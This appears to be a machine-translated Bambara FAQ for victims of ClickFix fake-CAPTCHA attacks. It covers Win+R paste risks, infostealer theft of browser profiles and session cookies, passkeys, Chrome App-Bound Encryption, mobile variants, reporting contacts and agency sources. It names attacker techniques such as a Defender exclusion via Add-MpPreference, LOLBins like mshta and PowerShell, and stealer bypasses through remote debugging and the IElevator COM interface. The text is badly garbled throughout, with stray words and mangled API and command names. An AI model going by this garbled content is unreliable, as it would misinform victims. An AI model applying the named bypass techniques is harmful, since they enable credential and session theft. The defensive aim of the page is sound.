• Ɔsitarali jamana ka Sibɛri Lakanali yɔrɔ (ACSC / RapportCyber): Weelekan 1300 CYBER1 (1300 292 371) walima file at cyber.gov.au (ani ka kuma IDCARE fɛ nin yɔrɔ in na 1800 595 160 ka ɲɛsin danyɔrɔ sɔrɔli ma). Nuwɛlika jamana na, aw ka kunnafoni di CERT NZ (0800 237 869).
• Endi ni Azi Pasifiki:
• Endi jamana ka Sibɛri Juguya Dɛmɛn & CERT-In: A wele 1930 o yɔrɔnin bɛɛ ni wariko nanbara kɛra, aw bɛ dosiye kɛ cybercrime.gov.in, ka jɛkulu ka sariya tiɲɛniw fɔ CERT-In (incident@cert-in.org.in) sanga 6 kɔnɔ.

--- .

Ɲininkali minnu bɛ kɛ tuma caman na¶

N ye da wuli Win + R ani ka digi Ctrl + V, o la sɛbɛnni bɔra kɛsu kɔnɔ, nka n y’a ye ko a bɛ i ko sumaya ani n ye "Cancel" digi K'a sɔrɔ n ma digi Enter. Yala bana in bɛ ne la wa?¶

Ayi, i lafiyalen don pewu. Navigateur webpage bɛ se ka sɛbɛnniw kopi kɛ i ka clipboard kɔnɔ ni JavaScript ye (navigateur.clipboard.sɛbɛnniText), ani ka digi Win + R. Bamako o kɔfɛ Ctrl + V ye o sɛbɛnnibolo in nɔrɔ dɔrɔn Windows Run donna-yɔrɔ la. Foyi tɛ execute fo n’i ye a digi A donna walima a digi OK ye. Ni i ye a digi Cancel (Kalan) kɛ walima ka da tugu Boli kɛsu kɔnɔ k’a sɔrɔ a ma digi A donna, cikan si ma daminɛ . I ka i ka clipboard saniya dɔrɔn i kɛtɔ ka daɲɛ jugu dɔ kopi kɛ i n’a fɔ bonjour Notepad kɔnɔ ani ka navigatɛri jugu tab datugu.

Mun na Windows Defender walima n ka antivirus ma cikan bali tuma min na n y’a nɔrɔ a kɔnɔ Win + R?¶

Sabula i - hadamaden min donna a kɔnɔ - o ye farikolo digi Win + R. Bamako ani ka gosi A donna, Windows bɛ cikan minɛ i n'a fɔ marako wale laɲinilen min daminɛna ka bɔ explorer.exe (sɛgɛsɛgɛlikɛlan.exe). sanni ka kɛ dosiye ye min tɛ se ka da a la, n’a telesarse ka bɔ ɛntɛrinɛti kan (a ka c’a la, o tun bɛna Mark-of-the-Web ta Zone.Identifikatɛri tag). Ka fara o kan, ClickFix cakɛdaw bɛ baara kɛ ni Microsoft bolonɔbila binary (mshta.exe ye, . powershell.exe ka baarakɛcogo, . conhost.exe ye, walima mɔgɔ sabananw ka bamanankanfalennaw bolonɔbilalenw i n'a fɔ AutoIt3.exe ye) ka nafamafɛnw lajɛ ani k’u ɲɛfɔ k’a ɲɛsin RAM kɔnɔ, a ka c’a la, a bɛ kɛ Add-MpPreference -Bɔli sira "C:\" milisekɔndi fɔlɔ kɔnɔ ka sɔrɔ ka porogaramu jugu dɔ sɛbɛn min bɛ se ka dɔn disiki la.

Yala kunnafoni-sonyabaga bɛ dosiyew sonya ka bɔ baarakɛlaw ka jatew bɛɛ la ne ka ɔridinatɛri kan, walima ne ka donna-profil dɔrɔn (Default vs. Profile 1, . Profile 2) ?¶

Info-sonyakɛlaw bɛ scan navigatɔrɔn ka profil foli bɛɛ i ka Windows baarakɛla ka jatebɔsɛbɛn kɔnɔ (%LocalAppData%\Google\Chrome\Baarakɛla ka kunnafoniw\Default, . Profil 1. Ɲɛjirali 1, . Profil 2. Bamako, Mali, wdfl, Chrome, Edge, Brave, Opera ani Firefox bɛɛ kɔnɔ), hali n’o navigatɔrɔn filananw ka ɲɛfɔliw tun tɛ ni finɛtiri da wulilen ye o waati la. O kɔrɔ ye ko n'i ye "Baara" Chrome profil ni "Personal" Chrome profil danfaralen mara Windows doncogo kelen jukɔrɔ, o profil fila bɛɛ tun b’u ka password maralenw ni session cookies sonya waati kelen na.

Ni n tun bɛ baara kɛ ni Passkey ye n ka Google walima Microsoft jatebɔsɛbɛn kan do - yala kunnafoni-sonyabaga ye n ka Passkey sonya wa?¶

A bɛ bɔ Passkey marayɔrɔ la, wa min nafa ka bon kosɛbɛ, o ye . a ye session cookie active min dabɔra i donna kɔfɛ ni o Passkey ye, o sonya sisan. Fɔlɔ, n’i tun donna Google/Microsoft kɔnɔ kaban Chrome/Edge kɔnɔ o PC kan, binkannikɛla mago tɛ i ka Passkey la bawo u y’i ka live authenticated session cookie sonya - o la i ka kan ka digi hali bi I ka bɔ kalansenw bɛɛ la minɛn saniyalen dɔ kan. Filanan, ni i ka Passkey tun maralen bɛ Windows Hello (TPM 2.0 ye hardware chip) walima YubiKey walima iPhone farikoloma kan, kilisi kɛrɛnkɛrɛnnen min bɛ hardware puce kɔnɔ, o tɛ se ka bila ka taa jamana wɛrɛw la ni malware ye. Nka, n’i ye tɛmɛsira minnu bɛ ɲɔgɔn sɔrɔ, olu mara mɔgɔ sabanan ka navigatɔrɔn yɔrɔ dɔ kɔnɔ min ma datugu o ɔridinatɛri kɔnɔ, i ka o tɛmɛsiraw bɔ i ka jatebɔsɛbɛn lakanani siratigɛ la o yɔrɔnin bɛɛ.

Google Chrome ka "App-Bound Encryption" bɛ cogo di (v20 cookies) bɛ nɔ bila, wa a bɛ kɛ Lumma Stealer bypass a kan wa?¶

K’a daminɛ Chrome 127+ la, Google ye App-Bound Encryption daminɛ Windows kan, o min bɛ cookie encryption siri (`v20` dakun fɔlɔ) ka taa Windows sitɛmu baarakɛyɔrɔ kɔrɔtalen dɔ la (`GoogleChromeElevationService`) walasa ka porogaramu juguw bali minnu tɛ se ka kɛ sababu ye ka cookies decryption. Nka, bi builds of Lumma Sonyalikɛla, . SonyaliC, ani Medusa (Medusa) ye actively bypass App-Bound Encryption ni kode pikiri ye k’a ɲɛsin kunkolontan instance of chrome.exe ye, ka Chrome ka yɔrɔjan debugging port (--yɔrɔjan-debugging-port), walima ka nɛɛma kɔrɔta ka wele IElevator (Ielevat) ye COM ka baarakɛminɛnw. Kana a miiri abada ko Chrome 127+ ye i ka session cookies lakana ni i ye ClickFix payload dɔ kɛ; tuma bɛɛ ka lajɛw bɛɛ bɔ yen joona.

Yala ClickFix cikan dɔ bɛ se ka kɛ n ka iPhone walima Android telefɔni kan, o bɛ se ka n ka telefɔni bana Win + R malware (porogaramu jugu)?¶

Ni i ye CAPTCHA nkalonma dɔ digi iPhone kan (`iOS`) walima Android telefɔni, Windows PowerShell / . mshta.exe ye cikan min bɛ kopi kɛ i ka mobili kɔnɔ tɛ se ka baara kɛ iOS walima Android kan, bawo mobili baarakɛminɛnw tɛ a Win + R. Bamako Baro dialogue boli, . powershell.exe ka baarakɛcogo, walima mshta.exe ye. Nka, ClickFix ɲɛ dɔw minnu bɛ telefɔni selilɛri dɔn, olu b’i ka mobili User-Agent dɔn ani k’i bila sira wɛrɛ kan ka Android jugu dɔ sigi .apk file, iOS Mobile Device Management (`MDM`) labɛnni profil, walima PWA/Web Push kunnafoni abonné jugu dɔ. Aw ye a lajɛ ni aw ma dosiye walima profil telesarselen si bila a kɔnɔ.

--- .

Gafe minnu bɛ tali kɛ o ko la¶

• Session cookie hijacking, infostealer malware, ani passkey bɔli
• Cryptocurrency portefeuille drain ani kisɛ kumasen bɛnkan
• Malware, ransomware ani spyware banakisɛw
• Email account hacked, forwarding sariyaw, ani a seginni
• Supply chain npm/PyPI pake bɛnkan ani developpeur baarakɛyɔrɔ kilisi jiginni
• Antivirus scareware nkalonma, kunnafoniw spam, ani browser push permission purge
• Kɔrɔtɔko nimɔrɔw ka kɛɲɛ ni jamana ye

--- .

Sosow ani ɲɛmɔgɔyaso ka bilasiralikan¶

• Sibɛri lakanani ni fɛnsɔrɔsiraw lakanani baarada (CISA) & Fɛdɛrali ka sɛgɛsɛgɛli biro (FBI) (Amerika): Sibɛri lakanani jɛkulu ka ladilikan (AA24-131A / Infostealer & Lumma Stealer Threat Advisories): Ka ɲɛnamaya nɔgɔya dugukolo kɔkan (LOLBin) ani Session Token Sonya binkanniw.
• Jamana ka sariyaw ni seko ni dɔnko baarada (NIST) (Amerika): Gafe kɛrɛnkɛrɛnnen 800-61 Rev. 2: Ɔridinatɛri lakanani ko kɛlenw ɲɛnabɔcogo gafe & SP 800-63B: Nizɛri Identity Guidelines (Session Management and Reauthentication).
• Microsoft ka bagabagali hakilila (Microsoft Security): ClikFix ka kanpaɲiw sɛgɛsɛgɛli, CAPTCHA Clipboard Injection nkalonma (RunMRU), ani PowerShell Script Block Logging (Event ID 4104) ye.
• Jamana ka Sibɛri Lakanali yɔrɔ (NCSC) (Royaume-Uni): Mitigating Malware and Ransomware Attacks & Device-Level Credential Sonya bilasiralikan.
• Erɔpu tɔnba ka tɔnba min ɲɛsinnen bɛ ɛntɛrinɛti lakanani ma (ENISA): ENISA ka bagabagali jamana ka kunnafoni: Info-Stealers (Lumma, . StealC, . RedLine, . AMOS) ani Session Cookie Hijacking kɛlɛli fɛɛrɛw.